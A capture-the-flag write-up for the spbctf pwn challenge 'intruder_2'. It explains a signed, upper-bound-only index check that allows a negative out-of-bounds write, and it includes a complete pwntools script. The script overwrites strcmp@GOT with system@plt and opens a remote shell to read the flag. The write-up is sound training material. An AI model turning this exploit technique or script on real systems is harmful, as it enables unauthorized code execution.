pwn5 intruder_2
pwn5 intruder_2
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: controlled_rdi_hijack, got_overwrite, signed_index_oob_write, strcmp_to_system
Summary
Task: NON-PIE x86-64 reservation service with a signed upper-bound-only array index check (cmp idx,0xff; jg) allowing a negative index OOB 8-byte write relative to a global array. Solution: use idx=-9 to overwrite strcmp@GOT with system@plt (already resolved via a startup system("cal")); the next loop's strcmp(cmd, "order\n") then runs system(cmd) with rdi = the user buffer, giving a shell via cmd="/bin/sh".
pwn5 intruder_2 — pwn_spbctf
Description
Here is room2 reservation service
nc 109.233.56.90 11692 Author: Artur Khanov (@awengar)
A NON-PIE x86-64 ELF (intruder_2.elf, served as intunder_2.elf), category "www", tier pwn5. A room-reservation menu lets you "order" a room by index and "view" rooms. The goal is to pop a shell on the remote and read the flag.
Analysis
Binary protections:
- NON-PIE (loaded at
0x400000) → all code/GOT addresses are fixed and known. - NX, Partial RELRO, no stack canary, not stripped.
- Imports include
system@pltat0x401040.
main (@0x401186) does the following:
system("cal")at0x4011b8(the string"cal"lives at0x402008). This call is critical for exploitation: it forces lazy PLT resolution ofsystem, sosystem@pltis fully usable later.- A menu loop runs 10 iterations. Each iteration:
fgets(cmd, 0x40, stdin)reads a command into a stack buffercmdatrbp-0x50.strcmp(cmd, "order\n")is called every iteration — and its first argumentrdiiscmd, the user-controlled buffer.- On
"order\n":scanf("%lld", &idx)reads a signed 64-bit index, then a bounds checkcmp idx, 0xfffollowed byjg(a signed comparison checking the upper bound 255 only). It thenscanf("%llx", &val)and writes the 8-byte value torooms[idx]whereroomsis the global array at0x404080:*(u64*)(0x404080 + idx*8) = val. - On
"view\n"(@0x40209e): an OOB read print.
The bug
The index check is signed and upper-bound-only:
cmp rax, 0xff ; idx <= 255 ?
jg reject ; SIGNED greater-than -> only rejects idx > 255
There is no lower-bound check. A negative index passes the check and produces an arbitrary 8-byte OOB write relative to rooms@0x404080. Because this is a NON-PIE binary, the GOT sits at a fixed address below the array (0x404038 < 0x404080), so a negative index reaches GOT entries.
Unlike intruder_1, this binary never reads a flag.txt, so the path to the flag is full code execution via a GOT overwrite.
Solution
The exploitation idea is a classic GOT-overwrite → system, but with a twist: we must pick a GOT entry that is called with a controlled rdi.
strcmp(cmd, "order\n")is invoked every loop iteration withrdi = cmd, ourfgetsbuffer.- If we overwrite
strcmp@GOT(0x404038) withsystem@plt(0x401040), then on the next iteration the callstrcmp(cmd, ...)actually executessystem(cmd)withcmdunder our control. printf@GOTwould be useless:printf'srdiis a fixed format string, not our input. Choosing the right call site (controlledrdi) is the key.
Index math for strcmp@GOT:
idx = (0x404038 - 0x404080) / 8 = -72 / 8 = -9
val = 0x401040 (system@plt)
Sequence:
- Iteration 0: send
order, then index-9(decimal,%lld), then value401040(hex,%llx) → overwritesstrcmp@GOTwithsystem@plt. - Iteration 1: send
cmd = "/bin/sh".main'sstrcmp(cmd, "order\n")now resolves through the poisoned GOT tosystem("/bin/sh\n")→ shell.
system is already resolved from the startup system("cal"), so jumping through strcmp@GOT → system@plt works reliably. In the shell, cat /flag.
Output-parsing note: the startup
system("cal")prints a calendar, so when scraping the flag, use a case-insensitiveSPBCTF\{[^}]*\}regex to avoid false matches againstcaloutput.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import re context.arch = 'amd64' HOST, PORT = '109.233.56.90', 11692 e = ELF('intruder_2.elf', checksec=False) strcmp_got = e.got['strcmp'] # 0x404038 system_plt = e.plt['system'] # 0x401040 rooms = 0x404080 idx = (strcmp_got - rooms) // 8 # -9 log.info("strcmp@GOT = %#x", strcmp_got) log.info("system@plt = %#x", system_plt) log.info("idx = %d", idx) io = remote(HOST, PORT) # iteration 0: ORDER -> overwrite strcmp@GOT with system@plt io.sendline(b'order') io.sendline(str(idx).encode()) # index, decimal (%lld) io.sendline(b'%x' % system_plt) # value, hex without 0x (%llx) # iteration 1: cmd buffer becomes the argument to system via the poisoned GOT io.sendline(b'/bin/sh') io.sendline(b'cat /flag /flag.txt flag.txt 2>/dev/null; cat /flag* 2>/dev/null; id') data = io.recvall(timeout=15) m = re.search(rb'SPBCTF\{[^}]*\}', data, re.IGNORECASE) if m: log.success("FLAG: %s", m.group(0).decode()) else: print(data.decode(errors='replace')) io.close()